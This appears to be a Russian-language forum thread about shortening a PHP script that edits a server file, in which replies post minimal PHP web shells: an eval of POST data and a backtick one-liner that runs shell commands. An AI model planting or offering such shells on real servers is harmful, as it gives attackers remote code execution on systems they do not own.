PHP: <?$n='file.txt';if($_POST)file_put_contents($n,$_POST['f']);$d=file_get_contents($n)?> <form method=post><input type=text name=f value=<?=$d?>> вот этот код позволяет редактировать файл на сервере можно ли его уменьшить хоть на байт?
<?$n='1.txt';if($_POST)file_put_contents($n,$_POST['f']);$d=file_get_contents($n)?><form method=post><input type=text name=f value=<?=$d?>> во
Дикс На удаленном хосте: PHP: <? eval($_POST[a]); У себя на локалхосте написать обертку, которая будет отправлять пост запросы
Ну тогда уж вот так: PHP: <?=@`$c`?> Пруф: http://raz0r.name/releases/mega-reliz-samyj-korotkij-shell/
Tigger невозможно в явном виде выполнить пхп код, не работает без регистер_глобалс (а это очень редкий зверь)
fl00der с тем же успехом вы могли попросить пароль рута от SSH, например. Если же выдать вам урл обертки, то вы не сможете сделать ничего лишнего. Да и сомнительно, что требуется уменьшать размер скрипта на собственном хосте, такие дела
из интереса. в данном случае я узнал о возможности выполнять код, заключенный в обратные кавычки. погуглил и нашел на хабре больше инфы:
я так понимаю, обратные кавычки и есть - backtick operator? существует ли грамотное русское название этому? нашел страничку о них - http://www.php.net/manual/ru/language.operators.execution.php